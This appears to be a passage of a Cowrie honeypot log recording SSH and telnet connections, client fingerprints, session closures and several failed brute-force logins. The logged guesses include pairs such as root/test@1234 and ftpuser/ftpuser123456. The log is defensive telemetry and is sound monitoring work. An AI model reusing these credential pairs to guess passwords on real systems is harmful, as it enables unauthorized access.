a-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:06.448848Z","src_ip":"20.244.18.126","session":"7e3e7cd3813b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin12","message":"login attempt [ubuntu/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:07.236208Z","src_ip":"20.244.18.126","session":"7e3e7cd3813b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.764460563659668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:07.701055Z","src_ip":"114.23.51.89","session":"de87e84613fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.062150955200195,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:08.092995Z","src_ip":"114.23.51.89","session":"ab92eb88f306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47075629234314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:08.179896Z","src_ip":"185.207.250.135","session":"06fe4d8eefc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.11068034172058,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:08.342956Z","src_ip":"23.254.167.244","session":"7edde10f504d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:08.427202Z","src_ip":"20.244.18.126","session":"7e3e7cd3813b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44388,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d4542ae54b","protocol":"telnet","message":"New connection: 114.23.51.89:44388 (159.203.135.109:23) [session: c1d4542ae54b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:08.770168Z"}
{"eventid":"cowrie.session.closed","duration":32.389649868011475,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:09.320080Z","src_ip":"114.23.51.89","session":"c0ecc3048976","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44404,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdb8f465d0d8","protocol":"telnet","message":"New connection: 114.23.51.89:44404 (159.203.135.109:23) [session: cdb8f465d0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:09.382292Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":50504,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b39bf0d686c","protocol":"telnet","message":"New connection: 5.189.169.71:50504 (10.17.0.5:23) [session: 1b39bf0d686c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:09.531857Z"}
{"eventid":"cowrie.session.closed","duration":30.812721014022827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:09.556545Z","src_ip":"114.23.51.89","session":"e7a534cc8055","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44396,"dst_ip":"159.203.135.109","dst_port":23,"session":"de4fefb27cd3","protocol":"telnet","message":"New connection: 114.23.51.89:44396 (159.203.135.109:23) [session: de4fefb27cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:10.401868Z"}
{"eventid":"cowrie.session.closed","duration":31.19809889793396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:10.605166Z","src_ip":"114.23.51.89","session":"790f1d14af24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37719988822937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:11.223377Z","src_ip":"114.23.51.89","session":"16623d2de05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.959384441375732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:11.546429Z","src_ip":"114.23.51.89","session":"1a6d8dc43c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666357040405273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:11.636574Z","src_ip":"114.23.51.89","session":"f9339e37ab50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.44339370727539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:12.026097Z","src_ip":"23.254.167.244","session":"c009b41a00d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.964604377746582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:13.921178Z","src_ip":"185.207.250.135","session":"b3585c3201a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06511116027832,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:14.591760Z","src_ip":"114.23.51.89","session":"580fca4dfe45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.276517629623413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:16.038580Z","src_ip":"114.23.51.89","session":"d6da6fc123ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54478,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2284f1a1d25","protocol":"telnet","message":"New connection: 209.159.146.115:54478 (159.203.135.109:23) [session: f2284f1a1d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:16.491368Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":44410,"dst_ip":"159.203.135.109","dst_port":23,"session":"676645e0eb90","protocol":"telnet","message":"New connection: 114.23.51.89:44410 (159.203.135.109:23) [session: 676645e0eb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:16.572086Z"}
{"eventid":"cowrie.session.closed","duration":31.363967180252075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:16.587413Z","src_ip":"114.23.51.89","session":"8ceebb07a46d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40812,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f0aab97d59","protocol":"telnet","message":"New connection: 23.254.167.244:40812 (159.203.135.109:23) [session: 37f0aab97d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:17.020532Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":36836,"dst_ip":"159.203.135.109","dst_port":22,"session":"96c6d81adc32","protocol":"ssh","message":"New connection: 157.66.34.121:36836 (159.203.135.109:22) [session: 96c6d81adc32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:18.880563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:18.885823Z","src_ip":"157.66.34.121","session":"96c6d81adc32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:19.119553Z","src_ip":"157.66.34.121","session":"96c6d81adc32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.666517972946167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:19.447490Z","src_ip":"185.207.250.135","session":"4017f640cfca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123456","message":"login attempt [ftpuser/ftpuser123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:20.085635Z","src_ip":"157.66.34.121","session":"96c6d81adc32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":40226,"dst_ip":"159.203.135.109","dst_port":23,"session":"06f9a6b46204","protocol":"telnet","message":"New connection: 185.207.250.135:40226 (159.203.135.109:23) [session: 06f9a6b46204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:20.939782Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:21.321392Z","src_ip":"157.66.34.121","session":"96c6d81adc32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.884527444839478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:22.227447Z","src_ip":"185.207.250.135","session":"c89f79a97ff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66769814491272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:22.271623Z","src_ip":"114.23.51.89","session":"1c8f5c3e8165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.737046480178833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:24.350285Z","src_ip":"114.23.51.89","session":"4fecfe73edd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.189.169.71","src_port":55648,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2aa7aad17f4","protocol":"telnet","message":"New connection: 5.189.169.71:55648 (10.17.0.5:23) [session: e2aa7aad17f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:24.410885Z"}
{"eventid":"cowrie.session.closed","duration":30.685317754745483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:24.502919Z","src_ip":"114.23.51.89","session":"14cc7f5e6467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45170,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe874bd2a003","protocol":"telnet","message":"New connection: 209.159.146.115:45170 (159.203.135.109:23) [session: fe874bd2a003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:25.274177Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":7441,"dst_ip":"10.17.0.5","dst_port":22,"session":"84ba5488a6e2","protocol":"ssh","message":"New connection: 74.87.117.149:7441 (10.17.0.5:22) [session: 84ba5488a6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:27.015012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:27.019907Z","src_ip":"74.87.117.149","session":"84ba5488a6e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:27.044711Z","src_ip":"74.87.117.149","session":"84ba5488a6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.962037801742554,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:27.072478Z","src_ip":"209.159.146.115","session":"aff4184ee6fe","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@1234","message":"login attempt [root/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:27.177549Z","src_ip":"74.87.117.149","session":"84ba5488a6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:28.204253Z","src_ip":"74.87.117.149","session":"84ba5488a6e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.471510648727417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:29.600245Z","src_ip":"114.23.51.89","session":"eaa9420e3260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42416,"dst_ip":"159.203.135.109","dst_port":23,"session":"662985f4b4dc","protocol":"telnet","message":"New connection: 114.23.51.89:42416 (159.203.135.109:23) [session: 662985f4b4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:29.805660Z"}
{"eventid":"cowrie.session.closed","duration":34.90803074836731,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:30.421188Z","src_ip":"23.254.167.244","session":"d88b84537aa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.331053256988525,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:30.746728Z","src_ip":"185.26.126.47","session":"4cf337aa7d10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22511863708496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:31.398119Z","src_ip":"114.23.51.89","session":"24c14d80e337","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849217414855957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:31.514048Z","src_ip":"114.23.51.89","session":"55145113a490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.427335739135742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:31.687829Z","src_ip":"114.23.51.89","session":"d36b9322df58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18094515800476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:32.618705Z","src_ip":"114.23.51.89","session":"47496bb5e068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60584,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6c22a9d1d48","protocol":"telnet","message":"New connection: 23.254.167.244:60584 (159.203.135.109:23) [session: e6c22a9d1d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:33.341248Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":54332,"dst_ip":"10.17.0.5","dst_port":22,"session":"a326c8b712de","protocol":"ssh","message":"New connection: 176.65.139.103:54332 (10.17.0.5:22) [session: a326c8b712de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:34.388744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:34.393236Z","src_ip":"176.65.139.103","session":"a326c8b712de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:34.480411Z","src_ip":"176.65.139.103","session":"a326c8b712de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.050363779067993,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:34.605515Z","src_ip":"114.23.51.89","session":"a7a85f5ba1f2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:34.745724Z","src_ip":"176.65.139.103","session":"a326c8b712de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04901123046875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:35.442923Z","src_ip":"114.23.51.89","session":"e810489c5f09","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:35.867557Z","src_ip":"176.65.139.103","session":"a326c8b712de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.45766305923462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:35.946707Z","src_ip":"114.23.51.89","session":"44c768023be2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":42432,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab799fd925ac","protocol":"telnet","message":"New connection: 114.23.51.89:42432 (159.203.135.109:23) [session: ab799fd925ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:36.407315Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":57582,"dst_ip":"159.203.135.109","dst_port":23,"session":"229eac24ae6f","protocol":"telnet","message":"New connection: 185.207.250.135:57582 (159.203.135.109:23) [session: 229eac24ae6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:36.419501Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.207.250.135","src_port":58194,"dst_ip":"159.203.135.109","dst_port":23,"session":"22e2fb5ea4e4","protocol":"telnet","message":"New connection: 185.207.250.135:58194 (159.203.135.109:23) [session: 22e2fb5ea4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:37.489069Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":45464,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5ce9f8f8d1","protocol":"telnet","message":"New connection: 114.23.51.89:45464 (159.203.135.109:23) [session: aa5ce9f8f8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:38.079530Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37738,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca12d2ba38f7","protocol":"telnet","message":"New connection: 23.254.167.244:37738 (159.203.135.109:23) [session: ca12d2ba38f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:38.124936Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55542,"dst_ip":"159.203.135.109","dst_port":22,"session":"7763a9b89163","protocol":"ssh","message":"New connection: 159.203.92.129:55542 (159.203.135.109:22) [session: 7763a9b89163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:39.402750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:22:39.407466Z","src_ip":"159.203.92.129","session":"7763a9b89163","protocol":"ssh"}
